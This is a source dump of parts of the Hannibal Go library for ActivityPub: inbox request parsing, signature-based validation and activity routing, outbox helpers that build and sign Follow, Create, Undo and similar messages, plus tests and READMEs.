Inbox library gives you: 1) an ActivityPub inbox handler that parses and validates incoming ActivityPub messages, and 2) a router that identifies messages by their type and object, and routes them to the correct business logic in your application 4 | 5 | ``` golang 6 | 7 | 8 | // Set up handlers for different kinds of activities and documents 9 | activityHandler := inbox.NewRouter[CustomContextType]() 10 | 11 | // Here's a handler to accept Create/Note messages 12 | activityHandler.Add(vocab.ActivityTypeCreate, vocab.ObjectTypeNote, func(context CustomContextType, activity streams.Document) error { 13 | // do something with the activity 14 | }) 15 | 16 | // You can do wildcards too. Here's a handler to accept 17 | // Follow/Any messages 18 | activityHandler.Add(vocab.ActivityTypeFollow, vocab.Any, func(context CustomContextType, activity streams.Document) error { 19 | // do something with the follow request. 20 | // remember to send an "Accept" message back to the sender 21 | }) 22 | 23 | // Here's a catch-all handler that receives any uncaught messages 24 | activityHandler.Add(vocab.Any, vocab.Any, func(context CustomContextType, activity streams.Document) error { 25 | // do something with this activity 26 | }) 27 | 28 | // Add routes to your web server 29 | myAppRouter.POST("/my/inbox",func (r *http.Request, w *http.Response) { 30 | 31 | // Parse and validate the posted activity 32 | activity, err := pub.ReceiveRequest(r) 33 | 34 | // Handle errors however you like 35 | if err != nil { 36 | ... 37 | } 38 | 39 | context := // create custom "Context" value for this request 40 | 41 | // Pass the activity to the activityHandler, that will figure 42 | // out what kind of activity/object we have and pass it to the 43 | // previously registered handler function 44 | if err := activityHandler.Handle(context, actitity); err != nil { 45 | // do something with the error 46 | } 47 | 48 | // Success! 49 | } 50 | 51 | ``` -------------------------------------------------------------------------------- /inbox/option.go: -------------------------------------------------------------------------------- 1 | package inbox 2 | 3 | type Option func(*ReceiveConfig) 4 | 5 | func WithValidators(validators ...Validator) Option { 6 | return func(config *ReceiveConfig) { 7 | config.Validators = validators 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /inbox/receive.go: -------------------------------------------------------------------------------- 1 | package inbox 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "net/http" 7 | "net/http/httputil" 8 | 9 | "github.com/benpate/derp" 10 | "github.com/utterproofre/hannibal/streams" 11 | "github.com/utterproofre/hannibal/validator" 12 | "github.com/utterproofre/hannibal/vocab" 13 | "github.com/benpate/re" 14 | "github.com/rs/zerolog/log" 15 | ) 16 | 17 | // ReceiveRequest reads an incoming HTTP request and returns a parsed and validated ActivityPub activity 18 | func ReceiveRequest(request *http.Request, client streams.Client, options ...Option) (document streams.Document, err error) { 19 | 20 | const location = "hannibal.pub.ReceiveRequest" 21 | 22 | config := NewReceiveConfig(options...) 23 | 24 | // Try to read the body from the request 25 | body, err := re.ReadRequestBody(request) 26 | 27 | if err != nil { 28 | return streams.NilDocument(), derp.Wrap(err, location, "Error reading body from request") 29 | } 30 | 31 | // Try to retrieve the object from the buffer 32 | document = streams.NilDocument(streams.WithClient(client)) 33 | 34 | if err := json.Unmarshal(body, &document); err != nil { 35 | log.Err(err).Msg("Hannibal Inbox: Error Unmarshalling JSON") 36 | return streams.NilDocument(), derp.Wrap(err, location, "Error unmarshalling JSON body into ActivityPub document") 37 | } 38 | 39 | // Validate the document using injected Validators 40 | isValid := validateRequest(request, &document, config.Validators) 41 | 42 | if canDebug() && document.Type() != vocab.ActivityTypeDelete { 43 | requestBytes, _ := httputil.DumpRequest(request, true) 44 | 45 | fmt.Println("") 46 | fmt.Println("Begin: Hannibal ReceiveRequest -----------") 47 | fmt.Println(string(requestBytes)) 48 | fmt.Println("------------------------------------------") 49 | fmt.Println("") 50 | } 51 | 52 | // Log the request 53 | if !isValid { 54 | log.Trace().Err(err).Msg("Hannibal Inbox: Received document is not valid") 55 | return streams.NilDocument(), derp.UnauthorizedError(location, "Cannot validate received document", document.Value()) 56 | } 57 | 58 | // Return the parsed document to the caller (vöïlä!) 59 | return document, nil 60 | } 61 | 62 | func validateRequest(request *http.Request, document *streams.Document, validators []Validator) bool { 63 | 64 | // Run each validator 65 | for _, v := range validators { 66 | 67 | switch v.Validate(request, document) { 68 | 69 | case validator.ResultInvalid: 70 | return false 71 | 72 | case validator.ResultValid: 73 | return true 74 | 75 | } 76 | 77 | // Fall through "ResultUnknown" 78 | // means continue the loop. 79 | } 80 | 81 | // If no validators can actually validate the document, then validation fails 82 | return false 83 | } 84 | -------------------------------------------------------------------------------- /inbox/receiveConfig.go: -------------------------------------------------------------------------------- 1 | package inbox 2 | 3 | import "github.com/utterproofre/hannibal/validator" 4 | 5 | // ReceiveConfig is a configuration object for the `ReceiveRequest` function. 6 | type ReceiveConfig struct { 7 | Validators []Validator 8 | } 9 | 10 | // NewReceiveConfig creates a new ReceiveConfig object with default settings, 11 | // and applies any provided options to override the defaults. 12 | func NewReceiveConfig(options ...Option) ReceiveConfig { 13 | 14 | result := ReceiveConfig{ 15 | Validators: []Validator{ 16 | 17 | // TODO: check Object Integrity Proofs? 18 | 19 | // checks HTTP signatures 20 | validator.NewHTTPSig(), 21 | 22 | // checks if objects have been deleted 23 | validator.NewDeletedObject(), 24 | 25 | // HTTP Lookup to confirm that the object exists 26 | // validator.NewHTTPLookup(), 27 | }, 28 | } 29 | 30 | for _, option := range options { 31 | option(&result) 32 | } 33 | 34 | return result 35 | } 36 | -------------------------------------------------------------------------------- /inbox/receive_test.go: -------------------------------------------------------------------------------- 1 | //go:build localonly 2 | 3 | package inbox 4 | 5 | import ( 6 | "bufio" 7 | "net/http" 8 | "strings" 9 | "testing" 10 | 11 | "github.com/utterproofre/hannibal/streams" 12 | "github.com/davecgh/go-spew/spew" 13 | "github.com/stretchr/testify/require" 14 | ) 15 | 16 | func TestReceive(t *testing.T) { 17 | 18 | httpReader := strings.NewReader(`POST /@66beb0b36afe0012604c5467/pub/inbox HTTP/1.1 19 | Host: bandwagon.fm 20 | Accept-Encoding: gzip, br 21 | Cdn-Loop: cloudflare; loops=1 22 | Content-Length: 254 23 | Content-Type: application/activity+json 24 | Date: Sat, 28 Sep 2024 13:36:31 GMT 25 | Digest: SHA-256=XMfWai4fSQ5v1fjYoSzTOy4IRa6utDygHVXXYbM0/JM= 26 | Do-Connecting-Ip: 146.255.56.82 27 | Signature: keyId="https://climatejustice.social/users/benpate#main-key",algorithm="rsa-sha256",headers="(request-target) host date digest content-type",signature="R6oGuDCaNIMq0J/j3y5dW5NybHHqSYZAdw4b2pqqhnK/m/uLi2pQKaT1ao6IBwGJukN1CZKXxkUxYZwSozi5bVMg4Z27sCGir1enerYV5tEsz0Oafoa1gxQBlcgHx7lCZhuFNpeqi9CAIyToUayHn3NFhHmvIKFz61PtBAuW64VRWJ6dx/jsFJsytkmzfi+vQCKYGUGMxHIsL1TR0rwUTU5vwfy9PbCNuC1O/3crR8OICdClKoS+1as08Qsx8oEsCSBQb+M1bVsLycQ/6M+hYmu5Qu8wS2pzeOq3LvavwqpXqX6rPQ2kHgToNdtiErZgFsFUgwIL7vRPI5oP0CfpAQ==" 28 | User-Agent: http.rb/5.1.1 (Mastodon/4.2.12-stable+ff1; +https://climatejustice.social/) 29 | X-Forwarded-For: 146.255.56.82,108.162.221.54 30 | X-Forwarded-Proto: https 31 | 32 | {"@context":"https://www.w3.org/ns/activitystreams","id":"https://climatejustice.social/1b888e76-d22e-445e-8264-11d2c9bcc46f","type":"Follow","actor":"https://climatejustice.social/users/benpate","object":"https://bandwagon.fm/@66beb0b36afe0012604c5467"} 33 | `) 34 | 35 | client := streams.NewDefaultClient() 36 | 37 | req, err := http.ReadRequest(bufio.NewReader(httpReader)) 38 | require.Nil(t, err) 39 | 40 | document, err := ReceiveRequest(req, client) 41 | require.Nil(t, err) 42 | 43 | spew.Dump(document.Value()) 44 | } 45 | -------------------------------------------------------------------------------- /inbox/router.go: -------------------------------------------------------------------------------- 1 | package inbox 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | "github.com/benpate/derp" 8 | "github.com/utterproofre/hannibal/property" 9 | "github.com/utterproofre/hannibal/streams" 10 | "github.com/utterproofre/hannibal/vocab" 11 | "github.com/rs/zerolog/log" 12 | ) 13 | 14 | // Router is a simple object that routes incoming ActivityPub activities to the appropriate handler 15 | type Router[T any] struct { 16 | routes map[string]RouteHandler[T] 17 | } 18 | 19 | // RouteHandler is a function that handles a specific type of ActivityPub activity. 20 | // RouteHandlers are registered with the Router object along with the names of the activity 21 | // types that they correspond to. 22 | type RouteHandler[T any] func(context T, activity streams.Document) error 23 | 24 | // NewRouter creates a new Router object 25 | func NewRouter[T any]() Router[T] { 26 | result := Router[T]{ 27 | routes: make(map[string]RouteHandler[T]), 28 | } 29 | 30 | return result 31 | } 32 | 33 | // Add puts a new route to the router. You can use "*" as a wildcard for 34 | // either the activityType or objectType. The Handler method tries to match 35 | // handlers from most specific to least specific. 36 | // activity/object 37 | // activity/* 38 | // */object 39 | // */* 40 | // 41 | // For performance reasons, this function is not thread-safe. 42 | // So, you should add all routes before starting the server, for 43 | // instance, in your app's `init` functions. 44 | func (router *Router[T]) Add(activityType string, objectType string, routeHandler RouteHandler[T]) { 45 | router.routes[activityType+"/"+objectType] = routeHandler 46 | } 47 | 48 | // Handle takes an ActivityPub activity and routes it to the appropriate handler 49 | func (router *Router[T]) Handle(context T, activity streams.Document) error { 50 | 51 | const location = "hannibal.inbox.Router.Handle" 52 | 53 | activityType := activity.Type() 54 | 55 | // If this is a Document (not an Activity) then wrap it in 56 | // an implicit "Create" activity before routing. 57 | if vocab.ValidateActivityType(activityType) == vocab.Unknown { 58 | 59 | newValue := property.Map{ 60 | vocab.AtContext: activity.AtContext(), 61 | vocab.PropertyID: activity.ID(), 62 | vocab.PropertyActor: activity.Actor(), 63 | vocab.PropertyType: vocab.ActivityTypeCreate, 64 | vocab.PropertyObject: activity.Value(), 65 | } 66 | 67 | activity.SetValue(newValue) 68 | activityType = vocab.ActivityTypeCreate 69 | } 70 | 71 | // Log all incoming activity... except delete messages because Mastodon is way too chatty 72 | if canDebug() && (activityType != vocab.ActivityTypeDelete) { 73 | log.Debug().Str("activity", activityType).Any("type", activity.Object().Type()).Msg("Hannibal Router: Received Message") 74 | 75 | if canTrace() { 76 | marshalled, _ := json.MarshalIndent(activity.Value(), "", " ") 77 | fmt.Println(string(marshalled)) 78 | } 79 | } 80 | 81 | // Loop through all object Type values (though there's usually just one) to find a matching route 82 | for _, objectType := range activity.Object().Types() { 83 | 84 | if routeHandler, ok := router.routes[activityType+"/"+objectType]; ok { 85 | log.Trace().Str("type", activityType+"/"+objectType).Msg("Hannibal Router: route matched.") 86 | return routeHandler(context, activity) 87 | } 88 | 89 | if routeHandler, ok := router.routes[vocab.Any+"/"+objectType]; ok { 90 | log.Trace().Str("type", "*/"+objectType).Msg("Hannibal Router: route matched.") 91 | return routeHandler(context, activity) 92 | } 93 | } 94 | 95 | if routeHandler, ok := router.routes[activityType+"/"+vocab.Any]; ok { 96 | log.Trace().Str("type", activityType+"/*").Msg("Hannibal Router: route matched.") 97 | return routeHandler(context, activity) 98 | } 99 | 100 | if routeHandler, ok := router.routes[vocab.Any+"/"+vocab.Any]; ok { 101 | log.Trace().Str("type", "*/*").Msg("Hannibal Router: route matched.") 102 | return routeHandler(context, activity) 103 | } 104 | 105 | return derp.BadRequestError(location, "No route found for activity", activityType, activity.Object().Types(), activity.Value()) 106 | } 107 | -------------------------------------------------------------------------------- /inbox/utils.go: -------------------------------------------------------------------------------- 1 | package inbox 2 | 3 | import ( 4 | "github.com/rs/zerolog" 5 | ) 6 | 7 | // canInfo returns TRUE if zerolog is configured to allow Info logs 8 | // nolint:unused 9 | func canInfo() bool { 10 | return canLog(zerolog.InfoLevel) 11 | } 12 | 13 | // canDebug returns TRUE if zerolog is configured to allow Debug logs 14 | // nolint:unused 15 | func canDebug() bool { 16 | return canLog(zerolog.DebugLevel) 17 | } 18 | 19 | // canTrace returns TRUE if zerolog is configured to allow Trace logs 20 | // nolint:unused 21 | func canTrace() bool { 22 | return canLog(zerolog.TraceLevel) 23 | } 24 | 25 | // canLog is a silly zerolog helper that returns TRUE 26 | // if the provided log level would be allowed 27 | // (based on the global log level). 28 | // This makes it easier to execute expensive code conditionally, 29 | // for instance: marshalling a JSON object for logging. 30 | func canLog(level zerolog.Level) bool { 31 | return zerolog.GlobalLevel() <= level 32 | } 33 | -------------------------------------------------------------------------------- /inbox/utils_test.go: -------------------------------------------------------------------------------- 1 | package inbox 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/rs/zerolog" 7 | "github.com/stretchr/testify/require" 8 | ) 9 | 10 | func TestCanTrace(t *testing.T) { 11 | zerolog.SetGlobalLevel(zerolog.TraceLevel) 12 | require.True(t, canTrace()) 13 | zerolog.SetGlobalLevel(zerolog.DebugLevel) 14 | require.False(t, canTrace()) 15 | } 16 | 17 | func TestCanDebug(t *testing.T) { 18 | zerolog.SetGlobalLevel(zerolog.TraceLevel) 19 | require.True(t, canDebug()) 20 | zerolog.SetGlobalLevel(zerolog.DebugLevel) 21 | require.True(t, canDebug()) 22 | zerolog.SetGlobalLevel(zerolog.InfoLevel) 23 | require.False(t, canDebug()) 24 | } 25 | 26 | func TestCanInfo(t *testing.T) { 27 | zerolog.SetGlobalLevel(zerolog.TraceLevel) 28 | require.True(t, canDebug()) 29 | zerolog.SetGlobalLevel(zerolog.DebugLevel) 30 | require.True(t, canDebug()) 31 | zerolog.SetGlobalLevel(zerolog.InfoLevel) 32 | require.True(t, canInfo()) 33 | zerolog.SetGlobalLevel(zerolog.WarnLevel) 34 | require.False(t, canInfo()) 35 | } 36 | -------------------------------------------------------------------------------- /inbox/validator.go: -------------------------------------------------------------------------------- 1 | package inbox 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/utterproofre/hannibal/streams" 7 | "github.com/utterproofre/hannibal/validator" 8 | ) 9 | 10 | // Validator interface wraps the Validate method, which identifies whether a document 11 | // received in an actor's inbox is valid or not. Multiple validators can be stacked 12 | // to validate a document, so if one validator returns `false`, the document is not 13 | // necessary invalid. It just can't be validated by this one validator. 14 | type Validator interface { 15 | 16 | // Validate checks incoming HTTP requests for validity. If a document is 17 | // valid, it returns `ResultValid`. If the Validator cannot validate this 18 | // document, it returns `ResultUnknown`. If the Validator can say with 19 | // certainty that the document is invalid, it returns `ResultInvalid`. 20 | Validate(*http.Request, *streams.Document) validator.Result 21 | } 22 | -------------------------------------------------------------------------------- /meta/logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/utterproofre/hannibal/b348e7526835dd20615149dbf4249f9977720d0f/meta/logo.jpg -------------------------------------------------------------------------------- /meta/sigs.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/utterproofre/hannibal/b348e7526835dd20615149dbf4249f9977720d0f/meta/sigs.jpg -------------------------------------------------------------------------------- /outbox/README.md: -------------------------------------------------------------------------------- 1 | # Hannibal / outbox 2 | 3 | Outbox mimics an ActivityPub outbox. Passing a document to the outbox will 4 | use an outbound retry-queue to deliver it to all recipients in `to`, `cc`, 5 | and `bto` fields. 6 | 7 | ```go 8 | 9 | // Get an Actor's outbox 10 | actor := outbox.New(myActor, outbox.WithClient(myClient), outbox.WithQueue(myQueue)) 11 | 12 | // The document is the ActivityPub document you're sending 13 | document := map[string]any{ 14 | "@context": vocab.ContextTypeDefault. 15 | "type": vocab.ActivityTypeCreate, 16 | "actor": actor.ActorID, 17 | "object": map[string]any{ 18 | "type": "Note", 19 | "name": "A new note", 20 | }, 21 | } 22 | 23 | // Send a document via the Actor's outbox 24 | if err := actor.Send(document); err != nil { 25 | derp.Report(err) 26 | } 27 | 28 | ``` 29 | -------------------------------------------------------------------------------- /outbox/actor-.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "crypto" 5 | 6 | "github.com/utterproofre/hannibal/streams" 7 | ) 8 | 9 | // Actor represents an ActivityPub actor that can send ActivityPub messages 10 | // https://www.w3.org/TR/activitypub/#actors 11 | type Actor struct { 12 | 13 | // Required values passed to NewActor function 14 | actorID string 15 | privateKey crypto.PrivateKey 16 | 17 | // Optional values set via With() options 18 | publicKeyID string 19 | followers <-chan string 20 | client streams.Client 21 | // TODO: Restore Queue:: queue *queue.Queue 22 | } 23 | 24 | /****************************************** 25 | * Lifecycle Methods 26 | ******************************************/ 27 | 28 | // NewActor returns a fully initialized Actor object, and applies optional settings as provided 29 | func NewActor(actorID string, privateKey crypto.PrivateKey, options ...ActorOption) Actor { 30 | 31 | // Set Default Values 32 | result := Actor{ 33 | actorID: actorID, 34 | publicKeyID: actorID + "#main-key", 35 | privateKey: privateKey, 36 | } 37 | 38 | // Apply additional options 39 | result.With(options...) 40 | return result 41 | } 42 | 43 | // With applies one or more options to an Actor 44 | func (actor *Actor) With(options ...ActorOption) { 45 | for _, option := range options { 46 | option(actor) 47 | } 48 | } 49 | 50 | func (actor *Actor) ActorID() string { 51 | return actor.actorID 52 | } 53 | 54 | /****************************************** 55 | * Internal / Helper Methods 56 | ******************************************/ 57 | 58 | // getClient returns the hannibal Client to use when retrieving 59 | // JSON-LD data. If the Actor does not include a custom client, 60 | // then a default HTTP-only client is used instead. 61 | func (actor *Actor) getClient() streams.Client { 62 | 63 | if actor.client != nil { 64 | return actor.client 65 | } 66 | 67 | return streams.NewDefaultClient() 68 | } 69 | -------------------------------------------------------------------------------- /outbox/actor-send-accept.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/streams" 5 | "github.com/utterproofre/hannibal/vocab" 6 | "github.com/benpate/rosetta/mapof" 7 | "github.com/rs/zerolog/log" 8 | ) 9 | 10 | // SendAccept sends an "Accept" message to the recipient 11 | // actor: The Actor that is sending the request 12 | // activity: The activity that has been accepted (likely a "Follow" request) 13 | func (actor *Actor) SendAccept(acceptID string, activity streams.Document) { 14 | 15 | log.Debug().Msg("outbox.Actor.SendAccept: " + acceptID) 16 | 17 | message := mapof.Any{ 18 | vocab.AtContext: vocab.ContextTypeActivityStreams, 19 | vocab.PropertyID: acceptID, 20 | vocab.PropertyType: vocab.ActivityTypeAccept, 21 | vocab.PropertyActor: actor.actorID, 22 | vocab.PropertyObject: activity.Map(streams.OptionStripContext), 23 | } 24 | 25 | actor.Send(message) 26 | } 27 | -------------------------------------------------------------------------------- /outbox/actor-send-activity.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/utterproofre/hannibal" 7 | "github.com/utterproofre/hannibal/streams" 8 | "github.com/utterproofre/hannibal/vocab" 9 | "github.com/benpate/rosetta/mapof" 10 | "github.com/rs/zerolog/log" 11 | ) 12 | 13 | // SendActivity wraps a document in a standard ActivityStream envelope and sends it to the target. 14 | // actor: The Actor that is sending the request 15 | // activityType: The type of activity to send (e.g. "Create", "Update", "Accept", etc) 16 | // object: The object of the activity (e.g. the post that is being created, updated, etc) 17 | // recipient: The ActivityStream profile of the message recipient 18 | func (actor *Actor) SendActivity(activityType string, object streams.Document) { 19 | 20 | log.Debug().Msg("outbox.Actor.SendActivity: " + activityType + ", objectId: " + object.ID()) 21 | 22 | message := mapof.Any{ 23 | vocab.AtContext: vocab.ContextTypeActivityStreams, 24 | vocab.PropertyType: activityType, 25 | vocab.PropertyActor: actor.actorID, 26 | vocab.PropertyObject: object.Map(streams.OptionStripContext), 27 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()), 28 | } 29 | 30 | actor.Send(message) 31 | } 32 | -------------------------------------------------------------------------------- /outbox/actor-send-announce.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/utterproofre/hannibal" 7 | "github.com/utterproofre/hannibal/streams" 8 | "github.com/utterproofre/hannibal/vocab" 9 | "github.com/benpate/rosetta/mapof" 10 | "github.com/rs/zerolog/log" 11 | ) 12 | 13 | // SendAccept sends an "Announce" message to the recipient 14 | // activity: The activity that is being announced 15 | func (actor *Actor) SendAnnounce(announceID string, activity streams.Document) { 16 | 17 | log.Debug().Msg("outbox.Actor.SendAnnounce: " + announceID) 18 | 19 | message := mapof.Any{ 20 | vocab.AtContext: vocab.ContextTypeActivityStreams, 21 | vocab.PropertyType: vocab.ActivityTypeAnnounce, 22 | vocab.PropertyID: announceID, 23 | vocab.PropertyActor: actor.actorID, 24 | vocab.PropertyObject: activity.Map(streams.OptionStripContext), 25 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()), 26 | } 27 | 28 | actor.Send(message) 29 | } 30 | -------------------------------------------------------------------------------- /outbox/actor-send-create.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/utterproofre/hannibal" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | "github.com/rs/zerolog/log" 10 | ) 11 | 12 | // SendCreate sends an "Create" message to the recipient 13 | // actor: The Actor that is sending the request 14 | // activity: The activity that has been created (such as a "Note" or "Article") 15 | // recipient: The profile of the message recipient 16 | func (actor *Actor) SendCreate(activity mapof.Any) { 17 | 18 | activityID := activity.GetString(vocab.PropertyID) 19 | 20 | log.Debug().Msg("outbox.Actor.SendCreate: " + activityID) 21 | 22 | message := mapof.Any{ 23 | vocab.AtContext: vocab.ContextTypeActivityStreams, 24 | vocab.PropertyID: activityID, 25 | vocab.PropertyType: vocab.ActivityTypeCreate, 26 | vocab.PropertyActor: actor.actorID, 27 | vocab.PropertyObject: activity, 28 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()), 29 | } 30 | 31 | actor.Send(message) 32 | } 33 | -------------------------------------------------------------------------------- /outbox/actor-send-delete.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/streams" 5 | "github.com/utterproofre/hannibal/vocab" 6 | ) 7 | 8 | // SendDelete sends an "Delete" message to the recipient 9 | // actor: The Actor that is sending the request 10 | // activity: The activity that has been deleted 11 | // recipient: The ActivityStream profile of the message recipient 12 | func (actor *Actor) SendDelete(activity streams.Document) { 13 | actor.SendActivity(vocab.ActivityTypeDelete, activity) 14 | } 15 | -------------------------------------------------------------------------------- /outbox/actor-send-follow.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/utterproofre/hannibal" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | "github.com/rs/zerolog/log" 10 | ) 11 | 12 | // SendFollow sends a "Follow" request to the recipient 13 | // actor: The Actor that is sending the request 14 | // followID: The unique ID of this request 15 | // recipient: The ActivityStream profile of the Actor that is being followed 16 | func (actor *Actor) SendFollow(followID string, remoteActorID string) { 17 | 18 | log.Debug().Msg("outbox.Actor.SendFollow: " + followID) 19 | 20 | // Build the ActivityStream "Follow" request 21 | message := mapof.Any{ 22 | vocab.AtContext: vocab.ContextTypeActivityStreams, 23 | vocab.PropertyID: followID, 24 | vocab.PropertyType: vocab.ActivityTypeFollow, 25 | vocab.PropertyActor: actor.actorID, 26 | vocab.PropertyObject: remoteActorID, 27 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()), 28 | } 29 | 30 | // Send the request 31 | actor.Send(message) 32 | } 33 | -------------------------------------------------------------------------------- /outbox/actor-send-undo.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/utterproofre/hannibal" 7 | "github.com/utterproofre/hannibal/streams" 8 | "github.com/utterproofre/hannibal/vocab" 9 | "github.com/benpate/rosetta/mapof" 10 | "github.com/rs/zerolog/log" 11 | ) 12 | 13 | // SendUndo sends an "Undo" message to the recipient 14 | // actor: The Actor that is sending the request 15 | // activity: The activity that has been undone 16 | // recipient: The ActivityStream profile of the message recipient 17 | func (actor *Actor) SendUndo(activity streams.Document) { 18 | log.Debug().Msg("outbox.Actor.SendUndo: " + activity.ID()) 19 | 20 | actor.Send(MakeUndo(actor.actorID, activity.Map())) 21 | } 22 | 23 | func MakeUndo(actorID string, activity mapof.Any) mapof.Any { 24 | 25 | context := activity[vocab.AtContext] 26 | delete(activity, vocab.AtContext) 27 | 28 | // Build the ActivityPub Message 29 | return mapof.Any{ 30 | vocab.AtContext: context, 31 | vocab.PropertyType: vocab.ActivityTypeUndo, 32 | vocab.PropertyActor: actorID, 33 | vocab.PropertyObject: activity, 34 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()), 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /outbox/actor-send-update.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/streams" 5 | "github.com/utterproofre/hannibal/vocab" 6 | ) 7 | 8 | // SendUpdate sends an "Update" message to the recipient 9 | // actor: The Actor that is sending the request 10 | // activity: The activity that has been updated 11 | // recipient: The ActivityStream profile of the message recipient 12 | func (actor *Actor) SendUpdate(activity streams.Document) { 13 | actor.SendActivity(vocab.ActivityTypeUpdate, activity) 14 | } 15 | -------------------------------------------------------------------------------- /outbox/actorOption.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/streams" 5 | ) 6 | 7 | // ActorOption is a function signature that modifies optional settings for an Actor 8 | type ActorOption func(*Actor) 9 | 10 | // WithPublicKey is an ActorOption that sets the public key for an Actor 11 | func WithPublicKey(publicKeyID string) ActorOption { 12 | return func(a *Actor) { 13 | a.publicKeyID = publicKeyID 14 | } 15 | } 16 | 17 | // WithCliient is an ActorOption that sets the hanibal Client for an Actor 18 | func WithClient(client streams.Client) ActorOption { 19 | return func(a *Actor) { 20 | a.client = client 21 | } 22 | } 23 | 24 | // TODO: Restore Queue:: 25 | /* 26 | // WithQueue is an ActorOption that sets the outbound Queue for an Actor 27 | func WithQueue(queue *queue.Queue) ActorOption { 28 | return func(a *Actor) { 29 | a.queue = queue 30 | } 31 | } 32 | */ 33 | 34 | // WithFollowers is an ActorOption that provides a channel of followers for an Actor 35 | func WithFollowers(followers <-chan string) ActorOption { 36 | return func(a *Actor) { 37 | a.followers = followers 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /outbox/remoteOption.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/sigs" 8 | "github.com/benpate/remote" 9 | ) 10 | 11 | // SignRequest is a middleware for the remote package that adds an HTTP Signature to a request. 12 | func SignRequest(actor Actor) remote.Option { 13 | 14 | return remote.Option{ 15 | 16 | ModifyRequest: func(txn *remote.Transaction, request *http.Request) *http.Response { 17 | 18 | // Add a "Digest" header to the request and sign the outgoing request. 19 | if err := sigs.Sign(request, actor.publicKeyID, actor.privateKey); err != nil { 20 | derp.Report(derp.Wrap(err, "activitypub.RequestSignature", "Error signing HTTP request. This is likely because of a problem with the actor's private key.")) 21 | } 22 | 23 | // If exists, write the Digest back into the transaction (for serialization, et al) 24 | if digest := request.Header.Get("Digest"); digest != "" { 25 | txn.Header("Digest", digest) 26 | } 27 | 28 | // If exists, write the Signature back into the transaction (for serialization, et al) 29 | if signature := request.Header.Get("Signature"); signature != "" { 30 | txn.Header("Signature", signature) 31 | } 32 | 33 | // Oh, yeah... 34 | return nil 35 | }, 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /outbox/uniquer.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | // Uniquer is a utility class that helps to identify unique values 4 | type Uniquer[T comparable] struct { 5 | seen map[T]struct{} 6 | } 7 | 8 | // NewUniquer returns a fully initialized Uniquer object 9 | func NewUniquer[T comparable]() *Uniquer[T] { 10 | return &Uniquer[T]{ 11 | seen: make(map[T]struct{}), 12 | } 13 | } 14 | 15 | // IsUnique returns TRUE if the value has not been seen before. 16 | // Subsequent calls to IsUnique() with the same value will return FALSE. 17 | func (u *Uniquer[T]) IsUnique(id T) bool { 18 | 19 | _, ok := u.seen[id] 20 | 21 | if ok { 22 | return false 23 | } 24 | 25 | u.seen[id] = struct{}{} 26 | return true 27 | } 28 | 29 | // IsDuplicate returns TRUE if the value has been seen before. 30 | func (u *Uniquer[T]) IsDuplicate(id T) bool { 31 | return !u.IsUnique(id) 32 | } 33 | -------------------------------------------------------------------------------- /outbox/utils.go: -------------------------------------------------------------------------------- 1 | package outbox 2 | 3 | import "github.com/rs/zerolog" 4 | 5 | // canInfo returns TRUE if zerolog is configured to allow Info logs 6 | // nolint:unused 7 | func canInfo() bool { 8 | return canLog(zerolog.InfoLevel) 9 | } 10 | 11 | // canDebug returns TRUE if zerolog is configured to allow Debug logs 12 | // nolint:unused 13 | func canDebug() bool { 14 | return canLog(zerolog.DebugLevel) 15 | } 16 | 17 | // canTrace returns TRUE if zerolog is configured to allow Trace logs 18 | // nolint:unused 19 | func canTrace() bool { 20 | return canLog(zerolog.TraceLevel) 21 | } 22 | 23 | // canLog is a silly zerolog helper that returns TRUE 24 | // if the provided log level would be allowed 25 | // (based on the global log level). 26 | // This makes it easier to execute expensive code conditionally, 27 | // for instance: marshalling a JSON object for logging. 28 | func canLog(level zerolog.Level) bool { 29 | return zerolog.GlobalLevel() <= level 30 | } 31 | -------------------------------------------------------------------------------- /property/README.md: -------------------------------------------------------------------------------- 1 | ## Hannibal / unit 2 | 3 | This package wraps a number of common data values with conversions used in ActivityStreams. This is important because JSON-LD allows any piece of data to be represented in multiple formats. This wrapper allows safe access to indidividual values even when there are nil values slices, or maps of values present. 4 | 5 | ### Usage 6 | ```go 7 | value := property.NewValue("http://foo.com") 8 | 9 | foo.Raw() // returns "foo" 10 | 11 | // Traverse Arrays 12 | foo.Len() // returns 1 13 | foo.Head().Raw() // returns "http://foo.com" 14 | foo.Tail().Raw() // returns a nil value 15 | 16 | // Represent maps 17 | foo.Map() // returns a map with "id"="http://foo.com" 18 | 